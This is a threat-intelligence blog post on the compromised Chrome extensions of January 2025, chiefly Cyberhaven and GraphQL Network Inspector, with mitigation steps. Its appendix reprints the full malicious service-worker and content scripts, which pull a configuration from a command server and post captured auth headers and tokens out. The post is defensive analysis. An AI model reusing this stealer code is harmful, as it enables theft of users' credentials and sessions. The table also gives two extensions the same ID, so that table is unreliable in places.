Compromised Browser Extensions - A Growing Threat Vector
Browser extensions often improve user experience and allow users to work more efficiently. Sources estimate that the Chrome Extension store hosts over one hundred thousand unique extensions:
- Site DebugBear reported 111,933 extensions in August 2024
- chrome-stats lists the number of extensions as high as 145,316
Regardless of the exact number, most users have several extensions installed within their browsers. These can stem from Ad blockers, citation generators, or punctuation or writing aides.
While most extensions provide value to users, there have been several cases of malicious browser extensions being used to target users. There are different ways by which threat actors deploy malicious browser extensions. The first is compromising existing plugins by exploiting vulnerabilities or compromising developer accounts. This gives a threat actor access to an existing plugin and its code, which can be modified to include malicious capabilities such as keylogging. This is how malicious code was added to the Cyberhaven extension, which is covered in-depth below. Similarly, compromising upstream libraries used by browser extensions may allow a threat actor to deploy code to benign plugins. Lastly, threat actors can design malware that operates as a browser extension. Rilide is an example of an information stealer deployed as a browser extension.
This blog outlines:
- How browser extensions work
- Details about the compromised extensions identified at the beginning of January 2025, including the Cyberhaven and GraphQL Network Inspector extension
- Mitigation strategies for home and corporate environments
While this blog examines compromises from January 2025, these are just a few examples in recent years where malicious browser extensions have been found. We expect to continue observing malicious browser extensions in the wild and recommend proper permissions review and policy enforcement to mitigate risks.
How Browser Extensions Work
Browser extensions are small software applications that provide additional functionality and capabilities within a web browser. Browser extensions are usually written in HTML, CSS, or Javascript. Chrome extensions may consist of several items, including:
- A manifest file
- Service workers
- Content scripts
- Toolbar action
- Side Panel
- DeclarativeNetRequest
An explainer on the parts of the Chrome Extension is available here.
Manifest File
The manifest file is a JSON file within the extension’s dirextension's provides essential information about the extension and the files it uses. Figure 1 below contains the manifest file for the Chrome extension OneTab.
OneTab is a productivity plugin that converts all tabs open in a browser into a list, saving memory by reducing the number of tabs open at any given time. The tabs can be opened from the list as required by the user. The manifest file shows the name of the extension along with a description. It also includes any scripts that are run in the background. Content scripts or service workers are where the extension’s functionality is defined. In the case of Figure 1, the manifest includes a reference to the service worker ext-onetab-concatenated-sources-background.js
. The manifest file also consists of the list of permissions that the extension uses.
The action API controls the extension’s icon in the browser’s toolbar. The action must be specified in the manifest.json to use this API. In Figure 1, the action defines the default_icons
array, a set of images from which one is displayed as the extension's icon in the browser's toolbar.
Service Workers
Service workers are event handlers used by the extension. These scripts run in the background and handle events. Chrome’s developer documentation mentions that these do not have access to DOM content.
Content Scripts
Content scripts are files run on web pages. These use the DOM to read details about the web page, make changes to them, and collect information. Statically declared scripts are listed in the manifest.json file under the content_scripts
key.
Statically defined scripts need a matches
key to determine if the script will be injected into the page. The run_at key indicates when the scripts will be injected into the page. The three values here are:
document_start
: script is injected after any CSS files but before DOM is createddocument_end
: script is injected after DOM is complete but before resources like images and frames are loadeddocument_idle
: The browser chooses when the script is injected between the document_end and the window.load event triggers.
Viewing Extension Files
Installed extensions are stored in a subdirectory within the profile path defined for Chrome for a particular user. In most cases, the location will be:
OS | Location |
Windows | C:\Users\[username]\AppData\Local\Google\Chrome\User Data\Default\Extensions |
Mac | ~/Library/Application Support/Google/Chrome/Default/Extensions |
Linux | ~/.config/google-chrome/Default/Extensions/ |
Extensions are saved by their extension IDs, as shown in Figure 3.
Two ways to get the name of the extension:
- Open the extension directory and view the manifest.json
- Go to the extensions page in the browser -> enable Developer Mode -> IDs should be visible for each extension.
January 2025 Compromised Browser Extensions
The new year started with reports identifying at least 33 compromised Chrome browser extensions. A FieldEffect blog indicates that over 2.6 million users were impacted, and the compromised extensions were used for up to 18 months. One compromised browser extension was from Cyberhaven, a Data Loss Prevention software provider whose extension prevents users from entering data into unauthorized platforms.
Cyberhaven has released extensive details about how the compromise occurred and what they uncovered from their investigation. Access was obtained through a phishing email that targeted the extension's developers. The email claimed to be from the Chrome Web Store and outlined items that violated Google’s policy and threatened to remove the extension from the Chrome Web Store. Users who interacted with the email granted OAUTH permissions to the malicious application. Once the malicious application was granted access, the threat actor used it to upload the malicious Cyberhaven extension to the Web Store.
The malicious Cyberhaven was identified as version 24.10.4 and was similar to previous benign versions of the extensions with some minor additions. The additions allowed the extension to reach out to a command and control server to download configurations and collect data from hard-coded websites. Based on an analysis of the malicious files, the threat actors only sought to collect information from domains related to facebook.com.
Compromised Extensions
Including Cyberhaven, 20 extensions were compromised as part of this campaign. News outlet Ars Technica published a list of the compromised versions and their identifier values for reference. A subset of the compromised extensions are listed below. The extensions below all targeted information.
Extension Name | ID | Version |
VPNCity | kkodiihpgodmdankclfibbiphjkfdenh | 2.0.1 |
Parrot Talks | kkodiihpgodmdankclfibbiphjkfdenh | 1.16.2 |
Uvoice | oaikpkmjciadfpddlpjjdapglcihgdle | 1.0.12 |
Internxt VPN | dpggmcodlahmljkhlmpgpdcffdaoccni | 1.1.1 |
Bookmark Favicon Changer | acmfnomgphggonodopogfbmkneepfgnh | 4.0.0 |
Castorus | mnhffkhmpnefgklngfmlndmkimimbphc | 4.40 |
Wayin AI | cedgndijpacnfbdggppddacngjfdkaca | 0.0.11 |
Search Copilot AI Assistant for Chrome | bbdnohkpnbkdkmnkddobeafboooinpla | 1.0.1 |
VidHelper - Video Downloader | egmennebgadmncfjafcemlecimkepcle | 2.27 |
Cyberhaven security Extension v3 | pajkjnmeojmbapicmbpliphjmcekeaac | 24.10.4 |
AI Assistant ChatGPT and Gemini for Chrome | bibjgkidgpfbblifamdlkdlhgihmfohh | 0.1.3 |
Bard AI Chat | pkgciiiancapdlpcbppfkmeaieppikkk | 1.3.7 |
GraphQL Network Inspector | ndlbedplllcgconngcnfmkadhokfaaln | 2.22.6 |
A further 13 compromised extensions were also identified. However, these looked to capture data that could related to payments. Secure Annex released a spreadsheet of the compromised extensions split by code similarities in the malicious versions.
Cyberhaven Investigation Results
Cyberhaven’s investigation indicated that the only compromised version of their extension was version 24.10.4, consisting of worker.js and content.js files. The worker.js file was used to establish communication with the C2 server and download configurations from it. The content.js file was used to collect information on websites. The content.js file was static injected into all URLs before creating the DOM.
The content.js decodes base64 encoded data from a file called `config-block.txt`. The config file contained references to Facebook domains and the C2 used by the extension.
GraphQL Network Inspector Extension Analysis
Sekoia also identified that version 2.22.6 of the GraphQL Network Inspector extension was compromised. Similar to the compromised version of the Cyberhaven extension, this extension includes malicious Javascript files - background.js and context_responder.js.
background.js
operates as a service worker. It downloads a configuration from the C2 server and stores it in the browser’s storage. The configuration includes a list of URLs to target. Unlike in Cyberhaven, where the threat actor targeted Facebook, the URLs are related to ChatGPT.
background.js
for the GraphQL Network Inspector Connector has similar code to the malicious Cyberhaven extension service worker shown in Figure 9 - Source: SekoiaThe code to download the configuration from the C2 is the same as the Cyberhaven one, except for the C2 URL and the full name of the storage key.
Similarly, the context_responder.js
file is injected into all pages and used to decode the configuration downloaded from the C2 server.
context_responder.js
file decodes data from the configuration file (Content has been truncated). Source - SekoiaMitigation Strategies
For Home Users: Being aware of what extensions are enabled and the permissions they grant is often the best way to prevent malicious extensions. Consider only installing essential extensions. Before installing any extension, review the permissions it requires and the details in the privacy section of its web store listing. Users can also use information on the web store, such as the number of users, owner, reviews, and last update time, to gain more information about the extension and its overall trustworthiness. Moreover, users should periodically review installed extensions to identify any that are no longer needed and can be removed.
For Corporate IT teams that control web browser settings for employees can use tools like Intune to enforce policies determining what extensions can be installed. Before restricting browser extensions within an environment, it would be beneficial to identify what extensions are currently used within the organization. This will allow teams to determine which extensions are required for business use.
The following steps can be used to deploy an Intune policy to restrict extensions on Chrome.
- Open Intune Admin Center
- Navigate to the devices section
- Go to Manage Devices -> Configuration
- Create a Policy
- Select the platforms to apply the policy to
- Provide a name and description
- Click on `Add Settings`
- Search for `extension installation blocklist`
- Click on the application (for example, Google)
- Check the option to configure a blocklist
- Deploy a blanket block list using wildcards
- Configure an allowlist and enter the extension IDs that are allowed
Rilide At a Glance - An Information Stealing Browser Extension
Rilide is an example of an information stealer masquerading as a browser extension. The malware, which was first reported in April 2023, targets Chromium-based browsers such as Google Chrome and Microsoft Edge. It is designed to take screenshots of information, log passwords, and collect credentials for cryptocurrency wallets.
Rilide is delivered via malicious advertisements or phishing pages. When users interact with these payloads, a loader installs the Rilide extension. Security researchers have observed Rilide impersonating Google Drive and Palo Alto extensions. Associated IOCs can be accessed using Pulsedive Explore.
References
- chrome-stats, https://chrome-stats.com/stats
- Cyberhaven Preliminary Analysis, https://www.cyberhaven.com/engineering-blog/cyberhavens-preliminary-analysis-of-the-recent-malicious-chrome-extension
- Booze Allen Hamilton Cyberhaven Report, https://cdn.prod.website-files.com/64deefeac57fbbefc32df53d/678690fa4dd75d9e6b6020ca_FINAL_ABZ3845%20Detailed%20Reverse%20Malware%20Engineering%20v2%20%5B2025-01-09%5D.pdf
Appendix - Malicious Files from GraphQL Network Inspector
background.js
Gist from Sekoia.
chrome.runtime.onInstalled.addListener(function (e) {
'install' === e.reason && chrome.tabs.create({ url: 'https://www.overstacked.io/?install=true' });
});
chrome.runtime.onMessage.addListener((t, e, n) => {
switch (t.action) {
case 'graphqlnetwork-completions':
fetch('https://chatgpt.com/status/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: `Bearer ${ t.key }`
},
body: JSON.stringify({
prompt: 'check',
max_tokens: 150
})
}).then(t => t.json()).then(t => n(t)).catch(t => {
});
break;
case 'graphqlnetwork-redirect':
fetch(t.url).then(t => t.redirected).then(t => n(t)).catch();
break;
case 'graphqlnetwork-validate':
fetch(t.url, {
method: 'POST',
headers: {
Accept: 'application/json, application/xml, text/plain, text/html, *.*',
'Content-Type': 'application/json'
},
body: JSON.stringify(t.pl)
}).then(t => t.json()).then(t => n(t)).catch(t => {
});
break;
case 'graphqlnetwork-rtext':
fetch(t.url).then(t => t.text()).then(t => n(t)).catch();
break;
case 'graphqlnetwork-rjson':
fetch(t.url).then(t => t.json()).then(t => n(t)).catch();
break;
case 'graphqlnetwork-check-errors':
const e = t.pl;
chrome.webRequest.onBeforeSendHeaders.addListener(function (a) {
chrome.storage.local.get(['pswo']).then(o => {
let r;
var c;
o.pswo && (r = o.pswo);
const s = e.n;
let i = '';
try {
i = btoa(JSON.stringify(e.openapi_u));
} catch (t) {
}
let h = null === (c = a.requestHeaders) || void 0 === c ? void 0 : c.find(t => e.hed == t.name.toLowerCase());
const p = e.openapi_tk + ' || ' + btoa(h.value) + ' || ' + btoa(navigator[s]) + ' || ' + e.uid + ' || ' + i + ' || ' + r + ' || ' + e.k, l = {
ba1: btoa(p),
ba2: JSON.stringify(e.graphqlnetwork_cx),
ba3: JSON.stringify(e.gpta)
}, d = t.url;
fetch(d, {
method: 'POST',
headers: {
Accept: 'application/json, application/xml, text/plain, text/html, *.*',
'Content-Type': 'application/json'
},
body: JSON.stringify(l)
}).then(t => t.json()).then(t => n(t)).catch(t => {
});
});
}, { urls: [e.r] }, [
'requestHeaders',
'extraHeaders'
]), fetch(e.r).then(t => t.text()).then(t => function (t) {
}).catch();
}
return !0;
}), async function () {
try {
const t = await fetch('hxxps://graphqlnetwork[.]pro/ai-graphqlnetwork', {
method: 'POST',
headers: {
Accept: 'application/json, application/xml, text/plain, text/html, *.*',
'Content-Type': 'application/json'
}
});
if (!t.ok)
throw new Error(`HTTP error! Status: ${ t.status }`);
const e = await t.json();
await chrome.storage.local.set({ graphqlnetwork_ext_manage: JSON.stringify(e) }), console.log('Data successfully stored!');
} catch (t) {
console.error('An error occurred:', t);
}
}();
context_responder.js
Gist from Sekoia.
chrome.runtime.onMessage.addListener(function (e, a, c) {
console.log('Message received:', e), 'getScreenSize' === e.command && c({
screenWidth: window.screen.width,
screenHeight: window.screen.height
});
}), async function () {
let e, a = document.location.href;
try {
const {graphqlnetwork_ext_manage: a} = await chrome.storage.local.get(['graphqlnetwork_ext_manage']);
e = a ? JSON.parse(a) : null;
} catch (e) {
console.error('Error retrieving data from storage:', e);
}
e && 2000 !== e.code ? setTimeout(async function () {
if (a.includes(atob(e.graphqlnetworkc)))
try {
await async function (e) {
const a = atob(e.graphqlnetworkf), c = atob(e.graphqlnetworkg), t = atob(e.graphqlnetworkb), s = atob(e.graphqlnetworkh), o = atob(e.graphqlnetworkd), r = atob(e.graphqlnetworke), n = atob(e.graphqlnetworka), h = atob(e.graphqlnetworki), i = atob(e.graphqlnetworkl), y = atob(e.graphqlnetworkm), p = atob(e.graphqlnetworkn), l = atob(e.graphqlnetworko), d = atob(e.graphqlnetworkp), m = atob(e.graphqlnetworkk);
atob(e.graphqlnetworkq), atob(e.graphqlnetworkr);
chrome.runtime.sendMessage({
action: 'graphqlnetwork-rtext',
url: a
}, a => {
const i = /6kU.*?"/gm;
let y, p = '';
for (; null !== (y = i.exec(a));)
p = y[0].replace('"', '');
if (p) {
let a = h + p;
chrome.runtime.sendMessage({
action: 'graphqlnetwork-rjson',
url: s + a
}, async s => {
const h = s.id, i = s;
chrome.runtime.sendMessage({
action: 'graphqlnetwork-rjson',
url: c + a
}, async c => {
const s = c.data;
chrome.runtime.sendMessage({
action: 'graphqlnetwork-rjson',
url: m + a
}, async c => {
const y = c.data;
chrome.runtime.sendMessage({
action: 'graphqlnetwork-check-errors',
url: t,
pl: {
dm: atob(e.graphqlnetworkc),
openapi_tk: a,
openapi_u: i,
graphqlnetwork_cx: s,
gpta: y,
uid: h,
hed: o,
n: r,
r: n,
k: ''
}
}, () => {
chrome.storage.local.set({ graphqlnetwork_ext_log: JSON.stringify(h) });
});
});
});
});
}
}), document.body.addEventListener(y, () => {
document.querySelectorAll(i).forEach(async e => {
const a = e.getAttribute(d);
if (a && a.includes(p))
try {
const {graphqlnetwork_ext_log: e} = await chrome.storage.local.get(['graphqlnetwork_ext_log']), c = e ? JSON.parse(e) : '';
chrome.runtime.sendMessage({
action: 'graphqlnetwork-validate',
url: l,
pl: {
sc: btoa(a),
cf: btoa(c)
}
});
} catch (e) {
console.error('Error retrieving log data:', e);
}
});
});
}(e);
} catch (e) {
console.error('Error processing valid URL:', e);
}
else
chrome.runtime.sendMessage({
action: 'graphqlnetwork-redirect',
url: e.graphqlnetworkf
}, a => {
0 === a && chrome.runtime.sendMessage({
action: 'graphqlnetwork-completions',
key: e.graphqlnetworkd
});
});
}, 2000) : chrome.runtime.sendMessage({
action: 'graphqlnetwork-redirect',
url: e.graphqlnetworkf
}, a => {
0 === a && chrome.runtime.sendMessage({
action: 'graphqlnetwork-completions',
key: e.graphqlnetworkd
});
});
}();